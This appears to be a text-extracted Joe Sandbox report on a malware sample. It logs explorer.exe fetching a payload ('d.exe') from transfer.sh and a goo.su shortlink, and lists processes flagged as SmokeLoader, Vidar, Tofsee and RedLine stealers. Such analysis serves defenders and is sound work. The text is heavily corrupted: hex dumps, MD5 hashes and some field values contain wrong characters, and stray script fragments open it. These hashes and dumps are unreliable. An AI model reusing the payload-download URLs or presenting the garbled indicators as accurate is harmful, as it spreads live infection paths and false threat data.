() {var category = "spam:warning_page",state = 0;function trackHover(e) {try {state = 1;ga('send, ‘event', category, "Spam
intersti

Destination IP  Destination Port Process
104.21.38.221 443 C:\Windows\explorer.exe

Data

GET /afU3 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: goo.su

HTTP/1.1 200 OK

Date: Thu, 06 Jan 2022 07:10:03 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

vary: Accept-Encoding

x-powered-by: PHP/7.2.21

cache-control: private, must-revalidate

pragma: no-cache

expires: -1

set-cookie: XSRF-TOKEN=eyJpdil6ljR4aDFkWVU5QXpRTM5EZmMROTXV5NVE9PSIsInZhbHVIljoiZkRuMUZaOUJ
LTTM4ANNFkK2ImbkNWclpKQ3ZXamFpYIVxcOFHVko5ak5vRGsza29yeHpYXCIXNEZ1SXRUVkt3d0giLCItY WMiOiJkO
TIMNGQxXYjAXM2RmMjczMmMyYmRIZTA3ZTImZmNKYzY2MjAyMGV|jMzJjNzgOM2UxY TFkZWEwMzY 10DUxXY
zA0In0%3D; expires=Fri, 07-Jan-2022 01:50:02 GMT; Max-Age=67200; path=/

set-cookie: goosu_session=eyJpdil6lk43TINEUHdDeG45TmFUamZwRXIGQKE9PSIsInZhbHVIljoiVKF3d2FVMExqQVpOYI
Q5b1B5VWIRRMNUN21LeVJIIOHZITDISRGIT21QV2tpWWJIpeWIwMXRFMmJLeXdVbnZpSilsim1hYylI6ljkyNWIXZDNj
OWUzYzBkN2QzNzIzMGViMzU2Y210YzVjZjdjMDkwOGE2YTQxYTU2MDQ2NmME2YzIwWNDRmMNGZhZjYifQ%3D%3D; expi
res=Fri, 07-Jan-2022 01:50:02 GMT; Max-Age=67200; path=/; httponly

CF-Cache-Status: DYNAMIC

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=7tbwbNOwWQsZL Y26 MbZV%2F05pXUGAmMI7
uHftTPCYILM%2BUdXbpW7SDIM62%2BgmU0C%2BwIK06S5547q0z80cvuNQNxhiUKUg7UesRIBhCRZxQX
qyHgUnI5T%2FQbYwQ%3D"}],"group":"cf-nel","max_age":604800}
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kBytes

Timestamp transferred Direction
2022-01-06 07:10:03 UTC 536 IN
2022-01-06 07:10:03 UTC 537 IN
2022-01-06 07:10:03 UTC 538 IN
2022-01-06 07:10:03 UTC 539 IN
2022-01-06 07:10:03 UTC 541 IN
2022-01-06 07:10:03 UTC 542 IN
2022-01-06 07:10:03 UTC 543 IN
2022-01-06 07:10:03 UTC 545 IN
2022-01-06 07:10:03 UTC 545 IN
Session ID Source IP Source Port
5 192.168.2.3 49810

Copyright Joe Security LLC 2022

Data

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 2263 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63
6¢ 6f 75 64 66 6¢ 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 36 63 39 33 31 66 63 66 66 64 31 38 34 65 30 37 2d 46 52 41
0d 0a 61 6¢ 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 39 3d 22
3a 34 34 3322 3b 20 6d 61 3d 38 36 34 30 30 2c 20 68 33 2d 32 38 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30
2c 20 68 33 2d 32 37 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6c931fc
ffd184e07-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86
400

Data Raw: 32 31 33 35 0d Oa 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 72 75
22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20
6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77
69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 22 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f
74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e Oa 3c 74 69 74 6¢ 65 3e d0 9f d1 80 dO be dO b8 d1 81
d1 85 d0 be d0 b4 dO b8 d1 82 20 dO bf d0 b5 d1 80 dO b5 d0 bd d0 b0 d0 bf d1 80 dO b0 dO b2 dO bb dO b5 d0 bd dO b8 d
0 b5 2e 2e 2e 3c 2f 74 69 74 6¢ 65 3e 0a 0a 3c 6¢ 69 6e 6b 20 68

Data Ascii: 2135<!doctype html><html lang="ru"><head><meta charset="utf-8"><meta name="viewport" content="widt
h=device-width, initial-scale=1"><meta name="robots" content="noindex"><title> ...</title><link h

Data Raw: 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70
61 63 69 6e 67 3a 20 2e 31 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69
6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 70
7065 72 63 61 73 65 3b 0a 20 20 20 20 20 20 20 20 7d Oa 0a 20 20 20 20 20 20 20 20 2e 6d 2d 62 2d 6d 64 20 7b Oa 20
2020 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 2
0 7d 0a 0a 20 20 20 20 20 20 20 20 2e 62 6f 72 64 65 72 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64
65 72 3a 20 31 70 78 20 73 6f 6¢ 69 64 20 23 65 65 65 3b 0a 20 20

Data Ascii: t-weight: 600; letter-spacing: .1rem; text-decoration: none; text-transform: uppercase;

} .m-b-md { margin-bottom: 30px; } .bordered { border: 1px solid #eee;

Data Raw: 20 20 20 20 20 20 20 20 20 20 20 59 61 2e 43 6f 6e 74 65 78 74 2e 41 64 76 4d 61 6e 61 67 65 72 2e 72 65 6e
64 65 72 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6c 6f 63 6b
49 64 3a 20 22 52 2d 41 2d 34 31 33 39 38 30 2d 38 22 2c Oa 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 72 65 6e 64 65 72 54 6f 3a 20 22 79 61 6e 64 65 78 5f 72 74 62 5f 52 2d 41 2d 34 31 33 39 38
30 2d 38 22 2¢ 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 73 79 6e 63
3a20 74 72 75 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20

Data Ascii: Ya.Context.AdvManager.render({ blockld: "R-A-413980-8",

renderTo: "yandex_rtb_R-A-413980-8", async: true b; D;

Data Raw: 20 20 20 20 20 20 20 20 20 20 72 65 6e 64 65 72 54 6f 3a 20 22 79 61 6e 64 65 78 5f 72 74 62 5f 52 2d 41 2d
3431 3339 38 30 2d 31 34 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
206173 79 6e 63 3a 20 74 72 75 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29
3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 20 20 20 74 20 3d 20 64 2e 67 65 74 45 6¢ 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69
70 74 22 29 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 64 2e 63 72 65 61
74 65 45 6¢ 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b Oa 20 20 20

Data Ascii: renderTo: "yandex_rth_R-A-413980-14", async: true b

D t = d.getElementsByTagName("script")[0]; s = d.createElement("script");

Data Raw: 20 20 20 20 20 20 20 20 20 20 20 7d 29 28 74 68 69 73 2c 20 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 2c 20 22
79 61 6e 64 65 78 43 6f 6e 74 65 78 74 41 73 79 6e 63 43 61 6¢ 6¢ 62 61 63 6b 73 22 29 3b 0a 20 20 20 20 20 20 20 20
202020 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 64 69 76 3e Oa 3c 2f 64 69 76 3e Oa 3c 2f 62 6f 64 79 3e Oa 3¢ 73 63 72
69 7074 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d
33 2e 33 2e 31 2e 73 6¢ 69 6d 2e 6d 69 6e 2e 6a 73 22 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 71 38
69 2f 58 2b 39 36 35 44 7a 4f 30 72 54 37 61 62 4b 34 31 4a 53 74 51 49 41 71 56 67 52 56 7a 70 62 7a 6f 35 73 6d 58 4b
7034 59 66 52 76 48 2b 38 61 62 74 54 45 31 50 69 36 6a 69 7a

Data Ascii: P(this, this.document, "yandexContextAsyncCallbacks"); </script></div></div></body><script
src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965Dz00rT7abK41JStQIAqVgR
Vzpbzo5smXKp4YfRvH+8abtTE1Pi6jiz

Data Raw: 3b 6a 73 3d 6e 61 22 20 73 74 79 6¢ 65 3d 22 62 6f 72 64 65 72 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73
6f 6¢ 75 74 65 3b 6¢ 65 66 74 3a 2d 39 39 39 39 70 78 3b 22 20 61 6¢ 74 3d 22 54 6f 70 2e 4d 61 69 6¢ 2e 52 75 22 20 2f
3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e Oa 0a 3c 73 63 72 69 70 74 20 74 79 70
65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 77
726974 65 28 27 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 6¢ 69 76 65 69 6e 74 65 72 6e 65 74 2e 72 75 2f 63 6¢ 69
63 6b 22 20 27 2b 0a 20 20 20 20 20 20 20 20 20 20 20 20 27 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3¢ 69 6d
67 20 73 72 63 3d 22 2f 2f 63 6f 75 6e 74 65 72 2e 79 61 64 72

Data Ascii: ;js=na" style="border:0;position:absolute;left:-9999pXx;" alt="Top.Mail.Ru" /> </div></noscript><script
type="text/javascript"> document.write('<a href="//www.liveinternet.ru/click" '+ ‘target="_blank"><img src="//
counter.yadr

Data Raw: 20 20 20 20 20 20 20 20 73 2e 73 72 63 20 3d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 64 2e 6¢
6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6¢ 20 3d 3d 20 22 68 74 74 70 73 3a 22 20 3f 20 22 68 74 74 70 73 3a 22 20
3a 2022 68 74 74 70 3a 22 29 20 2b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 2f 2f 73 74 2e 74 6f 70 31 30
302e 72 75 2f 74 6f 70 31 30 30 2f 74 6f 70 31 30 30 2e 6a 73 22 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20
2877 2e 6f 70 65 72 61 20 3d 3d 20 22 5b 6f 62 6a 65 63 74 20 4f 70 65 72 61 5d 22 29 20 7b 0a 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4Af A4d 43 6f 6e 74 65 6e 74 4c 6f
61 64 65 64 22 2¢ 20 66 2¢ 20 66 61 6¢ 73 65 29 3b 0a 20

Data Ascii: s.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//st.top100.ru/top100/to
p100.js"; if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false);

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

144.76.136.153 443 C:\Windows\explorer.exe
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kBytes

Timestamp transferred Direction
2022-01-06 07:10:03 UTC 545 ouT
2022-01-06 07:10:03 UTC 545 IN
2022-01-06 07:10:03 UTC 546 IN

Code Manipulations

Statistics

Behavior

)

Click to jump to process

System Behavior

Data

GET /get/BaQ0zM/d.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: transfer.sh

HTTP/1.1 500 Internal Server Error

Server: nginx/1.14.2

Date: Thu, 06 Jan 2022 07:10:03 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 65

Connection: close

Retry-After: Thu, 06 Jan 2022 08:10:08 GMT
X-Content-Type-Options: nosniff
X-Made-With: <3 by DutchCoders
X-Ratelimit-Key: 127.0.0.1,102.129.143.96,102.129.143.96
X-Ratelimit-Limit: 10

X-Ratelimit-Rate: 600

X-Ratelimit-Remaining: 9

X-Ratelimit-Reset: 1641453008

X-Served-By: Proudly served by DutchCoders

Data Raw: 72 75 6e 74 69 6d 65 20 65 72 72 6f 72 3a 20 69 6e 76 61 6c 69 64 20 6d 65 6d 6f 72 79 20 61 64 64 72 65 73
73 20 6f 72 20 6e 69 6¢ 20 70 6f 69 6e 74 65 72 20 64 65 72 65 66 65 72 65 6e 63 65 Oa
Data Ascii: runtime error: invalid memory address or nil pointer dereference

Analysis Process: svchost.exe PID: 6944 Parent PID: 572

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

08:08:06

06/01/2022
C:\Windows\System32\svchost.exe

false

c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
0x7ff70d6e0000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA
true

false

C, C++ or other language

high

Show Windows behavior

Analysis Process: T5dzWoyBkt.exe PID: 7000 Parent PID: 3640
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

08:08:06

06/01/2022
C:\Users\user\Desktop\T5dzWoyBkt.exe
true
"C:\Users\user\Desktop\T5dzWoyBkt.exe"
0x400000

273920 bytes
FO73B540A352759BB44D7A1EB641FE61
true

true

C, C++ or other language

Reputation: low
Analysis Process: svchost.exe PID: 7048 Parent PID: 572
General
Start time: 08:08:06
Start date: 06/01/2022
Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
0x7ff70d6e0000

51288 bytes

32569E403279B3FD2EDB7EBD036273FA

true

false

C, C++ or other language

Reputation: high
Registry Activities Show Windows behavior
Analysis Process: svchost.exe PID: 7124 Parent PID: 572

General

Start time: 08:08:07

Start date: 06/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\System32\svchost.exe -k NetworkService -p
0x7ff70d6e0000

51288 bytes

32569E403279B3FD2EDB7EBD036273FA

true

false

C, C++ or other language

Reputation: high
Analysis Process: svchost.exe PID: 7152 Parent PID: 572
General
Start time: 08:08:07
Start date: 06/01/2022
Path: C:\Windows\System32\svchost.exe
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Wow64 process (32bit): false

Commandline: c:\windows\system32\svchost.exe -k unistacksvcgroup
Imagebase: 0x7ff70d6e0000
File size: 51288 bytes
MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: false
Has administrator privileges: false
Programmed in: C, C++ or other language
Reputation: high
File Activities Show Windows behavior

Analysis Process: SgrmBroker.exe PID: 5684 Parent PID: 572

General

Start time: 08:08:08

Start date: 06/01/2022

Path: C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit): false

Commandline: C:\Windows\system32\SgrmBroker.exe
Imagebase: 0x7ff769340000

File size: 163336 bytes

MD5 hash: D3170A3F3A9626597EEE1888686E3EAG
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: svchost.exe PID: 2992 Parent PID: 572

General
Start time: 08:08:08
Start date: 06/01/2022
Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false
Commandline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase: 0x7ff70d6e0000
File size: 51288 bytes
MD5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true
Has administrator privileges: false
Programmed in: C, C++ or other language
Reputation: high
Registry Activities Show Windows behavior

Analysis Process: T5dzWoyBkt.exe PID: 1356 Parent PID: 7000

General

Start time: 08:08:09

Start date: 06/01/2022

Path: C:\Users\user\Desktop\T5dzWoyBkt.exe
Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\T5dzWoyBkt.exe"
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Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

0x400000

273920 bytes
FO73B540A352759BB44D7A1EB641FE61
true

true

C, C++ or other language

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
00000007.00000002.345486542.0000000000580000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
00000007.00000002.345511016.00000000005A1000.00000004.00020000.sdmp, Author:

Joe Security
Reputation: low
Analysis Process: explorer.exe PID: 3352 Parent PID: 1356
General
Start time: 08:08:16
Start date: 06/01/2022
Path: C:\Windows\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Deleted

File Written

false

C:\Windows\Explorer.EXE

0x7ff720ea0000

3933184 bytes
AD5296B280E8F522A8A897C96BABOELD
false

false

C, C++ or other language

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000008.00000000.333308223.0000000004DE1000.00000020.00020000.sdmp, Author:
Joe Security

high

Show Windows behavior

Analysis Process: svchost.exe PID: 6488 Parent PID: 572

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Copyright Joe Security LLC 2022

08:08:28

06/01/2022
C:\Windows\System32\svchost.exe

false

C:\Windows\System32\svchost.exe -k netsvcs -p
0x7ff70d6e0000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA
true

true

C, C++ or other language

high

Show Windows behavior
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Analysis Process: svchost.exe PID: 5380 Parent PID: 572

General
Start time: 08:08:43
Start date: 06/01/2022
Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false
Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase: 0x7ff70d6e0000
File size: 51288 bytes
MD5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
File Activities Show Windows behavior

Analysis Process: eijrgvi PID: 5344 Parent PID: 664

General

Start time: 08:08:51

Start date: 06/01/2022

Path: C:\Users\user\AppData\Roaming\eijrgvi
Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\eijrgvi
Imagebase: 0x400000

File size: 273920 bytes

MD5 hash: F073B540A352759BB44D7A1EB641FE6GL
Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: low

Analysis Process: AD19.exe PID: 5384 Parent PID: 3352

General

Start time: 08:08:51

Start date: 06/01/2022

Path: C:\Users\user\AppData\Local\Temp\AD19.exe
Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\AD19.exe
Imagebase: 0x400000

File size: 307712 bytes

MDS5 hash: 8C23CC666860658E657DCA4652A48FFI1
Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language
Amiusmatches: e DeciomlOWgoeSandboxML
Reputation: low

Analysis Process: AD19.exe PID: 2824 Parent PID: 5384
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

08:08:54

06/01/2022
C:\Users\user\AppData\Local\Temp\AD19.exe
true
C:\Users\user\AppData\Local\Temp\AD19.exe
0x400000

307712 bytes
8C23CC666860658E657DC4652A48FFI1
false

false

C, C++ or other language

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
0000000E.00000002.400946485.00000000004F0000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
0000000E.00000002.401235918.0000000001F91000.00000004.00020000.sdmp, Author:

Joe Security
Reputation: low
Analysis Process: eijrgvi PID: 4020 Parent PID: 5344
General
Start time: 08:08:54
Start date: 06/01/2022
Path: C:\Users\user\AppData\Roaming\eijrgvi

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true
C:\Users\user\AppData\Roaming\eijrgvi
0x400000

273920 bytes
FO073B540A352759BB44D7A1EB641FE6GL
false

false

C, C++ or other language

Reputation: low
Analysis Process: svchost.exe PID: 1068 Parent PID: 572
General
Start time: 08:08:56
Start date: 06/01/2022
Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

false

C:\Windows\System32\svchost.exe -k netsvcs -p
0x7ff70d6e0000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA

true

true

C, C++ or other language

high

Show Windows behavior

Analysis Process: C48A.exe PID: 6860 Parent PID: 3352
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General

Start time: 08:08:57

Start date: 06/01/2022

Path: C:\Users\user\AppData\Local\Temp\C48A.exe
Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\C48A.exe
Imagebase: 0x400000

File size: 358912 bytes

MDS5 hash: 1F935BFFFOF8128972BC69625E5B2A6C
Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 6128 Parent PID: 572

General

Start time: 08:09:01

Start date: 06/01/2022

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k WerSvcGroup

Imagebase: 0x7ff70d6e0000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
File Activities Show Windows behavior
Registry Activities Show Windows behavior

Analysis Process: WerFault.exe PID: 6372 Parent PID: 6128

General

Start time: 08:09:01

Start date: 06/01/2022

Path: C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6860 -ip 6860
Imagebase: 0xb90000

File size: 434592 bytes

MDS5 hash: 9E2BBACAD48ECCAS55C0230D63623661B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: DACD.exe PID: 4616 Parent PID: 3352

General

Start time: 08:09:03
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Start date: 06/01/2022

Path: C:\Users\user\AppData\Local\Temp\DACD.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\DACD.exe

Imagebase: 0x400000

File size: 309760 bytes

MDS5 hash: 6146E19CEFC8795E7C5743176213B2C2

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,

Source: 00000016.00000002.438371322.0000000000803000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source:
00000016.00000002.438371322.0000000000803000.00000004.00000001.sdmp, Author:

Joe Security
File Activities Show Windows behavior
File Created
File Deleted
File Written
File Read
Analysis Process: WerFault.exe PID: 5700 Parent PID: 6860
General
Start time: 08:09:03
Start date: 06/01/2022
Path: C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit): true
Commandline: C:\Windows\SysWOW64\WerfFault.exe -u -p 6860 -s 520
Imagebase: 0xb90000
File size: 434592 bytes
MDS5 hash: 9E2BBACAD48ECCAS55C0230D63623661B
Has elevated privileges: false
Has administrator privileges: false
Programmed in: C, C++ or other language
File Activities Show Windows behavior
File Created
File Deleted
File Written
Registry Activities Show Windows behavior
Analysis Process: E5F9.exe PID: 6076 Parent PID: 3352
General
Start time: 08:09:06
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Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

06/01/2022
C:\Users\user\AppData\Local\Temp\E5F9.exe
true
C:\Users\user\AppData\Local\Temp\E5F9.exe
0x400000

306688 bytes
E97EA1C4CC3EFE421BC13D3A1FA4D0A3
false

false

C, C++ or other language

e Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source:
00000018.00000002.455570168.0000000000540000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source:
00000018.00000002.455426266.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source:
00000018.00000003.415955284.0000000000580000.00000004.00000001.sdmp, Author:
Joe Security

‘ Analysis Process: EF80.exe PID: 6920 Parent PID: 3352

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

08:09:09

06/01/2022
C:\Users\user\AppData\Local\Temp\EF80.exe
true
C:\Users\user\AppData\Local\Temp\EF80.exe
0x1f0000

538624 bytes
9D7EB9BE3B7F3A023430123BA099B0B0O
false

false

.Net C# or VB.NET

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000019.00000002.460244722.0000000003541000.00000004.00000001.sdmp, Author:
Joe Security

Disassembly

Code Analysis
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